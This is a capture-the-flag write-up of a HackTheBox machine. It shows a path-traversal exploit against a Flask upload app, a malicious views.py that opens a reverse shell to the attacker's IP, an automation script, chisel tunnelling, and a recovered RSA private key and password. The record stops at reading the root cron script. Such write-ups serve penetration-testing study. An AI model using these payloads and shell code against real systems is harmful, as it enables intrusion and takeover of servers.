Initial Recon

Nmap

Starting with a full tcp port scan I got the below results:

$ nmap -sV -sC -vvv -p- -oN nmap/nmap-all-tcp.txt

Nmap scan report for 10.10.11.164
Host is up, received syn-ack (0.13s latency).
Scanned at 2022-07-27 03:06:30 EEST for 129s
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE    SERVICE REASON      VERSION
22/tcp   open     ssh     syn-ack     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOm3Ocn3qQzvKFsAf8u2wdkpi0XryPX5W33bER74CfZxc4QPasF+hGBNSaCanZpccGuPffJ9YenksdoTNdf35cvhamsBUq6TD88Cyv9Qs68kWPJD71MkSDgoyMFIe7NTdzyWJJjmUcNHRvwfo6KQsVXjwC4MN+SkL6dLfAY4UawSNhJZGTiKu0snAV6TZ5ZYnmDpnKIEZzf/dOK6bBu4SCu9DRjPknuZkl7sKp3VCoI9CRIu1tihqs1NPhFa+XnHSRsULWtQqtmxZP5UXbmgwETxmpfw8M9XcMH0QXr8JSAdDkg2NtIapmPX/a3hVFATYg+idaEEQNlZHPUKLbCTyJ
|   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLA9ak8TUAPl/F77SPc1ut/8B+eOukyC/0lof4IrqJoPJLYusbXk+9u/OgSGp6bJZhotkJUvhC7k0rsA7WX19Y8=
|   256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINxEEb33GC5nT5IJ/YY+yDpTKQGLOK1HPsEzM99H4KKA
80/tcp   open     http    syn-ack     Werkzeug/2.1.2 Python/3.10.3
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-title: upcloud - Upload files for Free!
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Wed, 27 Jul 2022 00:07:01 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5316
|     Connection: close
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>upcloud - Upload files for Free!</title>
|     <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
|     <script src="/static/vendor/popper/popper.min.js"></script>
|     <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
|     <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
|     <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
|     <link rel=
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Wed, 27 Jul 2022 00:07:01 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, OPTIONS, HEAD
|     Content-Length: 0
|     Connection: close
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
3000/tcp filtered ppp     no-response
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.92%I=7%D=7/27%Time=62E081A5%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,1573,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20P
SF:ython/3\.10\.3\r\nDate:\x20Wed,\x2027\x20Jul\x202022\x2000:07:01\x20GMT
SF:\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20
SF:5316\r\nConnection:\x20close\r\n\r\n<html\x20lang=\"en\">\n<head>\n\x20
SF:\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<meta\x20name=
SF:\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\
SF:n\x20\x20\x20\x20<title>upcloud\x20-\x20Upload\x20files\x20for\x20Free!
SF:</title>\n\n\x20\x20\x20\x20<script\x20src=\"/static/vendor/jquery/jque
SF:ry-3\.4\.1\.min\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"/stat
SF:ic/vendor/popper/popper\.min\.js\"></script>\n\n\x20\x20\x20\x20<script
SF:\x20src=\"/static/vendor/bootstrap/js/bootstrap\.min\.js\"></script>\n\
SF:x20\x20\x20\x20<script\x20src=\"/static/js/ie10-viewport-bug-workaround
SF:\.js\"></script>\n\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href
SF:=\"/static/vendor/bootstrap/css/bootstrap\.css\"/>\n\x20\x20\x20\x20<li
SF:nk\x20rel=\"stylesheet\"\x20href=\"\x20/static/vendor/bootstrap/css/boo
SF:tstrap-grid\.css\"/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20hr
SF:ef=\"\x20/static/vendor/bootstrap/css/bootstrap-reboot\.css\"/>\n\n\x20
SF:\x20\x20\x20<link\x20rel=")%r(HTTPOptions,C7,"HTTP/1\.1\x20200\x20OK\r\
SF:nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.10\.3\r\nDate:\x20Wed,\x2027\
SF:x20Jul\x202022\x2000:07:01\x20GMT\r\nContent-Type:\x20text/html;\x20cha
SF:rset=utf-8\r\nAllow:\x20GET,\x20OPTIONS,\x20HEAD\r\nContent-Length:\x20
SF:0\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTM
SF:L\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x
SF:20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equ
SF:iv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x2
SF:0</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>E
SF:rror\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code
SF::\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20req
SF:uest\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20
SF:Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20
SF:\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 27 03:08:39 2022 -- 1 IP address (1 host up) scanned in 129.97 seconds

I can see 2 opens ports (22, 80) with a third (3000) that appears to be filtered meaning that some sort of firewall is blocking the reply back.

Looking at port 80, the banner tells us that its a python/3.10.3 based WSGI web application: Werkzeug/2.1.2

By surfing the home page on port 80, I can see two buttons, one to download the source code for a certain application and the other one to go to a page where you can upload a file.

Exploring the Home Page

Exploring the Source Code

Let’s download the source code and inspect it:

$ ls
source.zip

$ unzip source.zip 
Archive:  source.zip
   creating: app/
   creating: app/app/
  inflating: app/app/views.py        
  inflating: app/app/__init__.py     
   creating: app/app/static/
   creating: app/app/static/js/
   ...

Noticing “.git” Directory

If I list the contents of the zip file using “ls -la” I can see a .git directory

$ ls -la
total 2460
drwxr-xr-x 5 kali kali    4096 Oct  5 00:18 .
drwxr-xr-x 5 kali kali    4096 Oct  4 22:39 ..
drwxrwxr-x 5 kali kali    4096 Oct  5 13:38 app
-rwxr-xr-x 1 kali kali     110 Apr 28 14:40 build-docker.sh
drwxr-xr-x 2 kali kali    4096 Apr 28 14:34 config
-rw-rw-r-- 1 kali kali     574 Apr 28 15:50 Dockerfile
drwxrwxr-x 8 kali kali    4096 Apr 28 15:50 .git
-rw-r--r-- 1 kali kali 2489147 Oct  5 00:00 source.zip

This means that we can interact with it and see more information about this application, like different branches,logs

After searching around a little bit, I got something interesting:

$ git branches # to list available branches
  dev
* public

$ git switch dev # to switch to the "dev" branch
Switched to branch 'dev'
$ git log # to list the logs (every change and commit made to the project)
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:47:24 2022 +0200

    ease testing

commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:54 2022 +0200

    added gitignore

commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:16 2022 +0200

    updated

commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200

    initial
$ git show HEAD # to show the changes made on the last commit
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:47:24 2022 +0200

    ease testing

diff --git a/Dockerfile b/Dockerfile
index 76c7768..0875eda 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,7 +29,7 @@ ENV PYTHONDONTWRITEBYTECODE=1
 
 # Set mode
 ENV MODE="PRODUCTION"
-# ENV FLASK_DEBUG=1
+ENV FLASK_DEBUG=1
 
 # Run supervisord
 CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
$ git show HEAD~1 # to show the changes made on the commit before the last one and `HEAD~n` to show the n commit before the last one 
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:54 2022 +0200

    added gitignore

diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..e50a290
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,26 @@
+.DS_Store
+.env
+.flaskenv
+*.pyc
+*.pyo
+env/
+venv/
+.venv/
+env*
+dist/
+build/
+*.egg
+*.egg-info/
+_mailinglist
+.tox/
+.cache/
+.pytest_cache/
+.idea/
+docs/_build/
+.vscode
+
+# Coverage reports
+htmlcov/
+.coverage
+.coverage.*
+*,cover
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
deleted file mode 100644
index 5975e3f..0000000
--- a/app/.vscode/settings.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
-  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
-  "http.proxyStrictSSL": false
-}

I can see some credentials dev01:Soulless_Developer#2022 that were stored before and then removed in this commit, but when I tried to SSH using them it failed, however they might be useful later on.

Spotting A Vulnerability

After cycling through the files, app/app/view.py caugth my interest.

$ cat app/app/views.py 

import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')


@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

Specifically the get_file_name function which is called from upload_file and send_report functions. If this function is vulnerable and doesn’t escape the user input correctly, and if this is the code that the current application runs, then I might be able to exploit it and read or write arbitrary files.

So let’s see how this function handles input:

$ cat app/app/utils.py

import time


def current_milli_time():
    return round(time.time() * 1000)


"""
Pass filename and return a secure version, which can then safely be stored on a regular file system.
"""


def get_file_name(unsafe_filename):
    return recursive_replace(unsafe_filename, "../", "")


"""
TODO: get unique filename
"""


def get_unique_upload_name(unsafe_filename):
    spl = unsafe_filename.rsplit("\\.", 1)
    file_name = spl[0]
    file_extension = spl[1]
    return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension


"""
Recursively replace a pattern in a string
"""


def recursive_replace(search, replace_me, with_me):
    if replace_me not in search:
        return search
    return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)

It appears that there are 2 functions, get_file_name (unsafe) and get_unique_upload_name (considered by the developer safe) but is not yet implemented. This code here uses the unsafe get_file_name that calls recursive_replace function which replaces ../ string with nothing, and since it is recusivly doing that, there is no way to get arround it.

However in the app/app/views.py this function is called, then its output is passed to the os.path.join function, then to the send_file function from Flask which will return the content of the file.

$ cat app/app/views.py 

import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')


@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

From the first look this code appears to be secure, however the use of os.path.join ruined everything, because if this function takes parameters like ("/var/www/html", “app”, “/etc/passwd”) and tries to return the path of that, instead of returning something like "/var/www/html/app/etc/passwd", it will return "/etc/passwd" due to the / at the begining of the last string.

Exploiting the Vulnerability

Now let’s try to see if this vulnerability exists in the production code.

For this I will try to upload a file first and then access it to make sure that everything is normal and the application is taking my file and storing it somewhere.

Uploading Normal file

Looks like this application is not using a function like get_unique_upload_name because the name of the uploaded file is the same.

Now I will try the Local File Inclusion payload using Burp Suite:

uploads//etc/passwd

LFI Initial Try

Looks like I got redirected. After playing a little bit with Flask localy, I noticed that this is a nomral behavior in it, if the url path contained something like uploads//something/here it will redirect it to uploads/something/here then will process this new request.

To avoid this, I can make use fo the get_file_name being called to check for ../ string and remove it:

  • First, I will request the path uploads/..//etc/passwd
  • Flask will not redirect this request because the path is not uploads//
  • Then it will call the get_file_name function on ..//etc/passwd which will remove ../ and return /etc/passwd
  • Finally /etc/passwd string will pass to the os.path.join function as parameter and will result in /etc/passwd being the file read

Reading Files with LFI

I can now read files using this payload, however the upload_file function also uses the same process, which means that I can override files by passing ..//[path][file to override] as filename.

Overriting Files to Get a Reverse Shell

One possible way to get a reverse shell is to override the views.py file and append to it a new route that will execute our malicious code when accessed.

But first, I need to know where this file exists. I can do that by trying to intentionnally raise an error in the application, to see if I can get any sort of verbose error logging telling me what went wrong.

Finding Where The Application Is

Now I know that the application is inside the /app/ directory and has the same upload hierarchy as the one I just unziped, meaning that I can guess that the views.py will be at /app/app/views.py

Reading Views.py using LFI

This code looks very similar to the one I saw before, so what I’ll do is copy this file and append to it my malicious code then upload a new file with the name of ..//app/app/views.py which will override the current views.py with my own malicious one.

$ cat malicious-views.py

# my own imports for the reverse shell to work
import os
import socket
import pty
#############

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app

@app.route('/')
def index():
    return render_template('index.html')


@app.route('/download')
def download():
    return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))


@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')


@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

# my own malicious route to get a reverse shell
@app.route('/revShell/<ip>/<port>')
def connect_back(ip=None, port=None):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((str(ip),int(port)))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    pty.spawn("/bin/sh")

I’ll intercept the upload file request using Burp Suite and change the filename:

Overwriting views.py with malicious code

Now let’s get a reverse shell by navigating the to newly created view, http://opensource.htb/revShell/10.10.16.59/8989

$ nc -lvnp 8989
listening on [any] 8989 ...
connect to [10.10.16.59] from (UNKNOWN) [10.10.11.164] 52332
/app # id        
    id
    uid=0 gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/app # ip addr 
    ip addr
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
        link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    20: eth0@if21: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP 
        link/ether 02:42:ac:11:00:05 brd ff:ff:ff:ff:ff:ff
        inet 172.17.0.5/16 brd 172.17.255.255 scope global eth0
        valid_lft forever preferred_lft forever
  • You might get some weird characters at the begining of the prompt like /app # ^[[24;8R which is ok, you can avoid this by getting a fully interactive shell, via backgrounding the shell using CTRL+z then issuing the command stty raw -echo;fg and pressing enter.

  • This is a simple python3 script I wrote to upload the file automatically and get a reverse shell, I just need to listen on my specified port before executing it.

    $ cat upload_malicious.py 
    import requests
    import sys
    import sleep
    
    if len(sys.argv) < 3:
        print("Provide your listening IP followed by the Port as argument")
        exit(0)
    
    ip = sys.argv[1]
    port = sys.argv[2]
    
    with open("malicious-views.py", "r") as f:
        malView = f.read()
    
    malFile = {"file": ("..//app/app/views.py", malView)}
    
    res = requests.post("http://opensource.htb/upcloud", files=malFile)
    
    print(res)
    
    time.sleep(1)
    res = requests.get("http://opensource.htb/revShell/{}/{}".format(ip, port))
    
    print(res)
    

Discovering the Application on port 3000

It looks like we are root inside a docker container. I can also see a request comming from the main host to this machine every few minutes 172.17.0.1 - - [05/Oct/2022 15:02:02] “GET / HTTP/1.1” 200 -.

The first thing I’ll do is to check the port 3000 that was previously marked as filtered by nmap to see if I can get anything.

Using netcat, I’ll check to see if this is a webserver (usually webservers runs on port 3000).

/app # nc 172.17.0.1 3000
HEAD / HTTP/1.1
Host: 172.17.0.1

HTTP/1.1 200 OK
Set-Cookie: i_like_gitea=a0f2435183e3d93a; Path=/; HttpOnly; SameSite=Lax
Date: Wed, 05 Oct 2022 15:11:22 GMT

I got a response, and by reading the session cookie I can tell that this application is Gitea.

Getting User On the Host Machine

I’ll upload chisel to the victim machine and port forward the port 3000 to my local attacking machine.

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.164 - - [06/Oct/2022 06:31:47] "GET /chisel_1.7.7_linux_amd64 HTTP/1.1" 200 -
/app # wget http://10.10.16.59:8000/chisel_1.7.7_linux_amd64
Connecting to 10.10.16.59:8000 (10.10.16.59:8000)
saving to 'chisel_1.7.7_linux_amd64'
chisel_1.7.7_linux_a 100% |********************************| 7888k  0:00:00 ETA
'chisel_1.7.7_linux_amd64' saved

On my attacking machine, I’ll run a server instance of chisel that will listen on port 9001, then I’ll connect to it from the victim machine and forward the connection of http://172.17.0.1:3000/ accessible only from this machine to mine.

  • On the attacker:
    $ /opt/chisel/chisel_1.7.7_linux_amd64 server -p 9001 --reverse
    2022/10/06 06:44:50 server: Reverse tunnelling enabled
    2022/10/06 06:44:50 server: Fingerprint kLnVUdsvKZMD+fJ8bH+jt0Hizup2oUVE54EiS6kzxzs=
    2022/10/06 06:44:50 server: Listening on http://0.0.0.0:9001
    
  • On the victim:
    /app # ./chisel_1.7.7_linux_amd64 client 10.10.16.59:9001 R:127.0.0.1:3000:172.17.0.1:3000
    2022/10/06 03:51:01 client: Connecting to ws://10.10.16.59:9001
    2022/10/06 03:51:02 client: Connected (Latency 81.014967ms)
    

I can now access Gitea from my attacking machine using firefox on http://127.0.0.1:3000/

Accessing Gitea From My Machine

Now I’ll use the previous credentials dev01:Soulless_Developer#2022 to try to login to this instance.

Loging In To Gitea

It appears that this user is trying to backup his home directory, so I can take advantage of this and read his .ssh/id_rsa key file.

Reading SSH Key

$ chmod 600 dev01_id_rsa 
$ cat dev01_id_rsa 
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----

Using SSH I can login the machine and get the user flag.

$ ssh -i dev01_id_rsa dev01@opensource.htb
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Oct  6 05:38:28 UTC 2022

  System load:  0.01              Processes:              215
  Usage of /:   75.6% of 3.48GB   Users logged in:        0
  Memory usage: 22%               IP address for eth0:    10.10.11.164
  Swap usage:   0%                IP address for docker0: 172.17.0.1


16 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
dev01@opensource:~$ id
uid=1000(dev01) gid=1000(dev01) groups=1000(dev01)
dev01@opensource:~$ cat user.txt 
6c4**************************c7c
dev01@opensource:~$ 

Post Enumeration

I’ll use pspy to snoop on running processes and see if I can get anything about root.

dev01@opensource:/tmp$ wget http://10.10.16.59:8000/pspy64 
--2022-10-06 07:52:21--  http://10.10.16.59:8000/pspy64
Connecting to 10.10.16.59:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                                               100%[======================================================================================================================>]   2.94M   117KB/s    in 39s     

2022-10-06 07:53:02 (76.5 KB/s) - ‘pspy64’ saved [3078592/3078592]
dev01@opensource:/tmp$ chmod +x pspy64
dev01@opensource:/tmp$ ./pspy64
...
2022/10/06 07:56:01 CMD: UID=0    PID=16029  | /bin/bash /usr/local/bin/git-sync 
2022/10/06 07:56:01 CMD: UID=0    PID=16030  | /bin/bash /root/meta/app/clean.sh 
2022/10/06 07:56:01 CMD: UID=0    PID=16031  | /bin/bash /root/meta/app/clean.sh 
2022/10/06 07:56:01 CMD: UID=0    PID=16034  | /bin/bash /root/meta/app/clean.sh 
2022/10/06 07:56:01 CMD: UID=0    PID=16033  | /bin/bash /root/meta/app/clean.sh 
2022/10/06 07:56:01 CMD: UID=0    PID=16032  | /bin/bash /usr/local/bin/git-sync 
2022/10/06 07:56:01 CMD: UID=0    PID=16035  | git add . 
2022/10/06 07:56:01 CMD: UID=0    PID=16037  | git push origin main 
2022/10/06 07:56:01 CMD: UID=0    PID=16038  | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git 
...

It appears that root is executing /usr/local/bin/git-sync which is a script that contains git commands.

dev01@opensource:/tmp$ cat /usr/local/bin/git-sync
